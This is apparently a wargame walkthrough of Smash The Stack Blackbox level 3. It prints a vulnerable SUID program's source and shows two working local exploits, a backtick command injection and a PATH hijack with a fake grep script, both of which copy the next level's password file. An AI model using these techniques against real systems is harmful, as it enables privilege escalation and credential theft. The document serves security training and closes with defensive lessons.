Today we’re going to be looking at level 3 of the Smash The Stack wargame, Blackbox. As usual, the password will be stripped from the page and replaced with Y’s. Now let’s move onto the game by ssh’ing into the server as level 3.
Upon arrival the first thing we should do is look for our vulnerability and any source code, if available. A quick ls of the home directory rewards us with a level4 SUID program called proclist, as well as a readable file called proclist.cc. Examining further we can see that proclist.cc is (most likely) the source file:
level3@blackbox:~$ more proclist.cc
#include <iostream>
#include <string>int main(int main, char **argv)
{
std::string command;
std::string program;std::cout << “Enter the name of the program: “;
std::cin >> program;for(unsigned int i = 0; i < program.length(); i++) {
if(strchr(“;^&|><“, program[i]) != NULL) {
std::cout << “Fatal error” << std::endl;
return 1;
}
}// Execute the command to list the programs
command = “/bin/ps |grep “;
command += program;
system(command.c_str());return 0;
}
It is always important to understand a file when looking for a vulnerability, and today provides no exception. Analyzing the code we can see that the program does a few things. First, it gets input from the user using cin’s >> operator and puts it into the variable “program”. Next, it searches through the user input stored in “program”, making sure it doesn’t consist of any of the characters ; ^ & | > or < If one of the characters is found in the input string, the program exits. Afterwards, the program appends the input string in “program” to the end of the command string with value “/bin/ps |grep “. Finally the entire command string is sent to a system call via a non-mutable C string provided by the c_str() function.
Thinking about the flow of the program, it seems like the system call might be where we want to make our attack. After all, user input in put into the system call. So, if we can use maliciously formed input, maybe we can control what they system call does. To do this, we must note a few things. One is that the program uses cin >> and therefore we cannot include any white-space in our input string. Second, in Linux we can separate shell or system call commands via a semi-colon. Third, in Linux shell there are three quotes one can use, single quote, double quote and backtick. Single quotes don’t resolve variables and only additional single quotes need to be escaped. Double quotes allow for resolving variables to their values. Lastly, backticks execute the command string inside of them.
First, let’s look at point two. We could potentially cause multiple command execution (such as /bin/sh) if we could include a semi-colon in our user input string. If the system call ran as system(“/bin/ps |grep ;/bin/sh”) we would get a shell. Unfortunately, as we noted when reading through the program, semi-colons are one of the terminating characters for the program. Thus, we must look for a different approach as this program is attempting to validate user input, good!
-Backtick Attack:
While the user input sanitization checks for a few characters, it doesn’t check for the backtick. Observing this and knowing that the backtick causes execution of the command string within, we may be able to cause the program to run a command. However, looking back at point one, our backtick’ed string cannot contain any spaces. Thus, we will have to write a little shell script to do what we want. In this case, we want to have the program get the contents of the password file for the next level and save it into a file we can read. This is due to the fact that we won’t be able to access a shell directly (even by executing /bin/sh) since the execution is only being used as a parameter to grep and will close immediately. However, an executed shell script can write to a file and quit. Let’s look at the shell file we’re going to use:
level3@blackbox:/tmp/.t$ more catpass
#!/bin/sh
/bin/cat /home/level4/password > /tmp/.t/p
As stated before, the shell script runs cat on the password file for the next level and saves it to a file of our choosing. Now let’s set up our files, don’t forget to set the correct privileges:
level3@blackbox:/tmp/.t$ chmod 755 catpass
level3@blackbox:/tmp/.t$ touch p
level3@blackbox:/tmp/.t$ chmod 777 p
Now we’re ready to run the program and provide it with our malicious string.
level3@blackbox:/tmp/.t$ /home/level3/proclist
Enter the name of the program: `./catpass`
Usage: grep [OPTION]… PATTERN [FILE]…
Try `grep –help’ for more information.
level3@blackbox:/tmp/.t$ more p
YYYYYYYYY
There we have it, that is one way to do Blackbox Level 3. Remember the backticks cause the contents to be executed. Here we saw the system call ran ps and piped it’s results to grep. grep then executed with a variable and that variable was executed (because of the backticks), causing the password to be ripped. Finally grep finished, leading to the program’s exit. Moral of the story is to provide better user input validation and sanitization. Additionally, it’s usually a bad idea to directly make a system call on data which is under the control of users.
-Path Attack:
In most, if not all, modern day operating systems there exists something called the path. The path is a list of directories in which the operating system will look for programs with the same name of programs run by the user (when the user doesn’t provide a full path to the file). In the program which we are exploiting today, there exists a vulnerability based on this PATH variable.
In our program when the system call is executed, two commands are run by default. The first is /bin/ps. This command is provided as a full path and thus cannot be easily re-directed. The second command however, is simply grep. Since a full, or relative, path wasn’t provided for the file, the system will look in the PATH environmental variable for directories to look for a file with the same name. If we can re-write the PATH and we can cause the system call to execute a program called grep, but in the directory of our choosing. Using this we can put our password-acquiring shell script in our chosen directory with the name grep, and watch it be executed. Let’s go a head and setup our files, similar to the backtick attack above:
level3@blackbox:/tmp/.t$ more grep
#!/bin/sh
/bin/cat /home/level4/password > /tmp/.t/p
level3@blackbox:/tmp/.t$ chmod 755 grep
level3@blackbox:/tmp/.t$ touch p
level3@blackbox:/tmp/.t$ chmod 777 p
Now let’s re-write the PATH to be set to the current directory, where our fake grep program is:
level3@blackbox:/tmp/.t$ export PATH=./
Finally we can run the program and see what happens:
level3@blackbox:/tmp/.t$ /home/level3/proclist
Enter the name of the program: a
level3@blackbox:/tmp/.t$ /bin/cat p
YYYYYYYYY
There we have it again, Blackbox Level 3 through PATH exploitation. Remember if you don’t provide a full file name, the operating system will look for it in your PATH, something under the control of the user.